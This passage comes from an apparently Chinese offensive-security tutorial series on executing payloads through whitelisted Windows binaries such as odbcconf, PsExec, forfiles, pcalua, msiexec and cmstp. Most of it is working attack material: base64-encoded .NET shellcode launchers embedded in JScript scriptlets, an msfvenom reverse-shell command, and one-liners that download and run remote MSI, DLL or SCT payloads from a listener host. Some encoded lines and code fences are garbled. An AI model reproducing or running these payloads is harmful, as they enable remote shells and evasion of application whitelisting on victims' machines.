"AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+

"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCkA"+

"AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAA"+

"AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAABA"+

"AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"+

"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+

"KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH"+

"4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiL"+

"WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/"+

"0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/"+

"1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBW"+

"U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMp"+

"xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKC
hYGjml+"+"AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQ
QWEgMo"
"BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4z"+

"MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjVVMAOAYA"+

"ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAA"+

"DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAAB"+

"AAAAAQAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBRAAGAEEC"+
"hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAAAAAQAA"+

"AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAXQASABEA"+

"aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABAAAAAACA"+

"AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAAwC+AAAA"+

"BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgAu"+

"ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAUgBkAHkA"+

"UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/AAEAAAEJ"+

"AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAAABADsA"+

"AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU2hlbGxD"+
```

```
"b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT01NSVQA"+
"UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdhaXRGb3JT"+
"aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvdGVjdABs"+
"cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZHdDcmVh"+
"dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU2VjdXJp"+
"dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5QWN0aW9u"+
"AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0"+
"dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3BheWxvYWQA"+
"Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00RUUzLUJB"+
"QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19T"+
"dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50aW1lSGVs"+
"cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0cgBvcF9F"+
"eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5AFplcm8A"+
"RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAVW52ZXJp"+
"ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAAyAAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6XFYZNOCJ"+
"AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAAAMGERAH"+
"AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABAFQCFldy"+
"YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zLlNl"+
"Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs"+
"dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa2lwVmVy"+
"aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQAA"+
"AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
```

```
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+

"AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+

"AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+
"PwAAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+

"AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+

"RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+

"AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+

"AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+

"AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+

"bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+

"AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+

"NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+

"AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+

"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+

"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";
```

```
var entry_class = 'ShellCodeLauncher.Program';

try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new
ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');

var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]>
</script>
</component>
</package>
```

82. 基于白名单Odbcconf执行payload第十二季

- Windows 2003 默认位置

```
C:\WINDOWS\system32\odbcconf.exe
C:\WINDOWS\SysWOW64\odbcconf.exe
```

- Windows 7 默认位置

```
C:\Windows\System32\odbcconf.exe
C:\Windows\SysWOW64\odbcconf.exe
```

- 靶机执行

```
C:\Windows\SysWOW64\odbcconf.exe /a {regsvr C:\Micropoor_Odbcconf.dll}
```

https://drive.google.com/open?id=1j12W7VOhv_-NdnZpFhWLwdt8sQwxdAsk

83. 基于白名单PsExec执行payload第十三季

- 靶机执行

```
PsExec.exe -d -s msiexec.exe /q /i
<http://192.168.1.4/Micropoor_rev_x86_msi_53.txt>
```

84. 基于白名单Forfiles执行payload第十四季

- Windows 2003 默认位置

```
C:\WINDOWS\system32\forfiles.exe
C:\WINDOWS\SysWOW64\forfiles.exe
```

- Windows 7 默认位置

```
C:\WINDOWS\system32\forfiles.exe
C:\WINDOWS\SysWOW64\forfiles.exe
```

- 靶机执行

```
forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i
http://192.168.1.4/Micropoor_rev_x86_msi_53.txt"
```

85. 基于白名单Pcalua执行payload第十五季

- Windows 7 默认位置

```
C:\Windows\System32\pcalua.exe
```

- 靶机执行

```
Pcalua -m -a \\192.168.1.119\share\rev_x86_53_exe.exe
```

86. 基于白名单Msiexec执行payload第八季补充

- 基于白名单Msiexec.exe配置payload

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 - f dll >
Micropoor_rev_x64_53.dll
```

- 靶机执行

```
msiexec /y C:\Users\John\Desktop\Micropoor_rev_x64_dll.dll
```

87. 基于白名单Cmstp.exe执行payload第十六季

- Windows 2003 默认位置

```
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
```

- Windows 7 默认位置

```
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
```

- 靶机执行

```
cmstp.exe /ni /s C:\Users\John\Desktop\rev.inf
```

- **Micropoor_rev_cmstp_inf**

```
[version]
Signature=$chicago$ 4

AdvancedINF=5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Micropoor"
ShortSvcName="Micropoor"
```

- **cmstp_rev_53_x64.sct**

```
<?XML version="0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[

function setversion() {
}
function debug(s) {}
function base64ToStream(b) {

var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new
ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");


ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}

  var serialized_obj =
"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
 "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
 "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
 "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
 "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
 "RW5OcnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ5OYXJnZXRU"+
 "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW5OcnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+
 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW5OaW1lLlJlbW9O"+
 "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+
 "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+
 "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+
```

```
"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+
"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+
"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+
"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+
"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+
"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+
"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+
"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+
"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+
"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+
"ZW1ibHkGFwAAAARMb2FkCg8MAAAAABIAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+
"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABkhgIAYaVEXAAAAAAA"+
"AAAA8AAiIAsCCwAADAAAAAQAAAAAAAAAAAAACAAAAAAAIABAAAAACAAAAACAAAEAAAAAAAAAAQA"+
"AAAAAAAAAGAAAAACAAAAAAAAAwBAhQAAQAAAAAAAAEAAAAAAAAAAABAAAAAAAAAgAAAAAAAAAAA"+
"ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAACAAAEgAAAAAAAAAAAAAC50ZXh0AAAATAoAAAAgAAAADAAAAAIAAAAAAAAAAAAAAAAACAA"+
"AGAucnNyYwAAAJgCAAAAQAAAAAQAAAAOAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAAAAAAAGAA"+
"AAAAAAAAEgAAAAAAAAAAAAAAAAAAAQAAAQkgAAAACAAUA7CIAAGAHAAABAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+
"KAIAAAYAACoAAAAAAAAA/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pK"+
"TTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0"+
"Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhE"+
"i0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS///"+
"/11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAA1wKgBBEFUSYnkTInxQbpMdyYH/9VMiepo"+
"AQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ"+
"+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8Qg"+
"Xon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gA"+
"fShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dY"+
"agBZScfC8LWiVv/VAAATMAYAZQAAAAEAABEAIP4BAACNBgAAASXQAwAABCgGAAAKChYGjml+AQAA"+
"BH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMoBAAA"+
"BgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMx"+
"OQAAAAAFAGwAAABgAgAAI34AAMwCAABIAwAAI1N0cmluZ3MAAAAAFAYAAAgAAAAjVVMAHAYAABAA"+
"AAAjR1VJRAAAACwGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAADwAA"+
"AAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAABAAAA"+
"AQAAAAAACgABAAAAAAAAGAD0ANgAGAE0BMQEGAGkBMQEGAJgBeAEGALgBeAEGANsBNgAGACUCeAEG"+
"AEACNgAGAHwCeAEGAIsCNgAGAJECNgAGALQCNgAGAOYCxwIGAPgCxwIGACsDGwMAAAAAQAAAAAA"+
"AQABAAEAEAATABsABQABAAEAAAAAAOABAAAFAAMABwATAQAASgIAACEABAAHABEATwASABEAWgAS"+
"ABMBaAI+AFAgAAAAAIYYRAAKAAEAaCIAAAAAkQBKAA4AAQAAAAAAgACRIHEAFQABAAAAAACAAJEg"+
"fgAdAAUAAAAAAIAAkSCLACgACwDZIgAAAACRGBQDDgANAAAAAQCfAAAAAgCrAAAAAwCwAAAABADB"+
"AAAAAQDLAAAAAgDeAAAAAwDqAAAABAD5AAAABQD/AAAABgAPAQAAAQAaAQAAAgAiAREARAAuACEA"+
"RAA0ACkARAAKAAkARAAKADkARAAKAEkApAJCAGEAuwJKAGkA7gJPAGEA8wJYAHEARABkAHkARAAK"+
"ACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEA/gEAAAQAWwALAwABBwBxAAEAAAEJAH4A"+
"AQAAAQsAiwABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAQAAwAAAAA8TW9kdWxlPgAyMjIyLmRsbABQcm9ncmFtAFNoZWxsQ29kZUxhdW5jaGVyAG1zY29y"+
"bGliAFN5c3RlbQBPYmplY3QALmN0b3IATWFpbgBNRU1fQO9NTUlUAFBBR0VfRVhFQ1VURV9SRUFE"+
"V1JJVEUAVmlydHVhbEFsbG9jAENyZWF0ZVRocmVhZABXYWl0Rm9yU2luZ2xlT2JqZWN0AGxwU3Rh"+
"cnRBZGRyAHNpemUAZmxBbGxvY2F0aW9uVHlwZQBmbFByb3RlY3QAbHBUaHJlYWRBdHRyaWJ1dGVz"+
"AGR3U3RhY2tTaXplAGxwU3RhcnRBZGRyZXNzAHBhcmFtAGR3Q3JlYXRpb25GbGFncwBscFRocmVh"+
"ZElkAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zAFNl"+
"Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZQBTZWN1cml0eUFjdGlvbgBTeXN0ZW0uUnVudGltZS5D"+
"b21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNv"+
"bXBhdGliaWxpdHlBdHRyaWJ1dGUAMjIyMgBCeXRlADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRh"+
"aWxzPntBODMyQkQ0MS1EQjgyLTQ0NzEtOEMxRC1BMDlBNDFCQjAzRER9AENvbXBpbGVyR2VuZXJh"+
"dGVkQXR0cmlidXRlAFZhbHVlVHlwZQBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTUxMAAkJG1l"+
"dGhvZDB4NjAwMDAwMi0xAFJ1bnRpbWVIZWxwZXJzAEFycmF5AFJ1bnRpbWVGaWVsZEhhbmRsZQBJ"+
"bmlOaWFsaXplQXJyYXkASW5OUHRyAG9wX0V4cGxpY2l0AFN5c3RlbS5SdW50aW1lLkludGVyb3BT"+
"```
```

"ZXJ2aWNlcwBNYXJzaGFsAENvcHkAWmVybwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIALmNj"+
"dG9yAFN5c3RlbS5TZWN1cml0eQBVbnZlcmlmaWFibGVDb2RlQXR0cmlidXRlAAAAAAAADIAAAAAAA"+
"Qb0yqILbcUSMHaCaQbsD3QAIt3pcVhk04IkDIAABAwAAAQIGCQcABAkJCQkJCgAGGAkJCRgJEAkF"+
"AAIJGAkFIAEBEQ0EIAEBCAQBAAAAAwYREAcAAgESKREtBAABGAoIAAQBHQUIGAgCBhgIBwUdBQkY"+
"CRgEIAEBDggBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwGAni4BgIRTeXN0"+
"ZW0uU2VjdXJpdHkuUGVybWlzc2lvbnMuU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlLCBtc2Nv"+
"cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3"+
"N2E1YzU2MTkzNGUwODkVAVQCEFNraXBWZXJpZmljYXRpb24BAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
